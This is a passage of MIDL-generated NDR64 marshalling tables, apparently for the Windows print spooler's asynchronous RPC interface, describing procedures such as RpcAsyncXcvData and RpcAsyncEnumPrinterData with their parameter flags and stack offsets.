0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag447\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag445_t __midl_frag445 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag446\n};\n\nstatic const __midl_frag444_t __midl_frag444 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag443_t __midl_frag443 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag444\n};\n\nstatic const __midl_frag442_t __midl_frag442 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag441_t __midl_frag441 =\n{ \n/* RpcAsyncXcvData */\n    { \n    /* RpcAsyncXcvData */      /* procedure RpcAsyncXcvData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 84 /* 0x54 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hXcv */      /* parameter hXcv */\n        &__midl_frag442,\n        { \n        /* hXcv */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszDataName */      /* parameter pszDataName */\n        &__midl_frag444,\n        { \n        /* pszDataName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pInputData */      /* parameter pInputData */\n        &__midl_frag446,\n        { \n        /* pInputData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbInputData */      /* parameter cbInputData */\n        &__midl_frag449,\n        { \n        /* cbInputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pOutputData */      /* parameter pOutputData */\n        &__midl_frag451,\n        { \n        /* pOutputData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbOutputData */      /* parameter cbOutputData */\n        &__midl_frag948,\n        { \n        /* cbOutputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbOutputNeeded */      /* parameter pcbOutputNeeded */\n        &__midl_frag948,\n        { \n        /* pcbOutputNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pdwStatus */      /* parameter pdwStatus */\n        &__midl_frag948,\n        { \n        /* pdwStatus */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag436_t __midl_frag436 =\n{ \n/* RpcAsyncDeletePrinterKey */\n    { \n    /* RpcAsyncDeletePrinterKey */      /* procedure RpcAsyncDeletePrinterKey */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag429_t __midl_frag429 =\n{ \n/* RpcAsyncDeletePrinterDataEx */\n    { \n    /* RpcAsyncDeletePrinterDataEx */      /* procedure RpcAsyncDeletePrinterDataEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag444,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag421_t __midl_frag421 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag449\n};\n\nstatic const __midl_frag419_t __midl_frag419 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag418_t __midl_frag418 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag417_t __midl_frag417 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag418\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag419\n    }\n};\n\nstatic const __midl_frag416_t __midl_frag416 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag417\n};\n\nstatic const __midl_frag412_t __midl_frag412 =\n{ \n/* RpcAsyncEnumPrinterKey */\n    { \n    /* RpcAsyncEnumPrinterKey */      /* procedure RpcAsyncEnumPrinterKey */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pSubkey */      /* parameter pSubkey */\n        &__midl_frag417,\n        { \n        /* pSubkey */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbSubkey */      /* parameter cbSubkey */\n        &__midl_frag449,\n        { \n        /* cbSubkey */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbSubkey */      /* parameter pcbSubkey */\n        &__midl_frag449,\n        { \n        /* pcbSubkey */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag398_t __midl_frag398 =\n{ \n/* RpcAsyncEnumPrinterDataEx */\n    { \n    /* RpcAsyncEnumPrinterDataEx */      /* procedure RpcAsyncEnumPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag444,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnumValues */      /* parameter pEnumValues */\n        &__midl_frag446,\n        { \n        /* pEnumValues */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbEnumValues */      /* parameter cbEnumValues */\n        &__midl_frag449,\n        { \n        /* cbEnumValues */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbEnumValues */      /* parameter pcbEnumValues */\n        &__midl_frag449,\n        { \n        /* pcbEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pnEnumValues */      /* parameter pnEnumValues */\n        &__midl_frag449,\n        { \n        /* pnEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag392_t __midl_frag392 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag391_t __midl_frag391 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag392\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag390_t __midl_frag390 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag391\n};\n\nstatic const __midl_frag389_t __midl_frag389 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag388_t __midl_frag388 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag389\n};\n\nstatic const __midl_frag384_t __midl_frag384 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag383_t __midl_frag383 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag382_t __midl_frag382 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag383\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag384\n    }\n};\n\nstatic const __midl_frag381_t __midl_frag381 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag382\n};\n\nstatic const __midl_frag380_t __midl_frag380 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag379_t __midl_frag379 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag378_t __midl_frag378 =\n{ \n/* RpcAsyncEnumPrinterData */\n    { \n    /* RpcAsyncEnumPrinterData */      /* procedure RpcAsyncEnumPrinterData */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwIndex */      /* parameter dwIndex */\n        &__midl_frag380,\n        { \n        /* dwIndex */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag382,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbValueName */      /* parameter cbValueName */\n        &__midl_frag389,\n        { \n        /* cbValueName */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbValueName */      /* parameter pcbValueName */\n        &__midl_frag389,\n        { \n        /* pcbValueName */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n      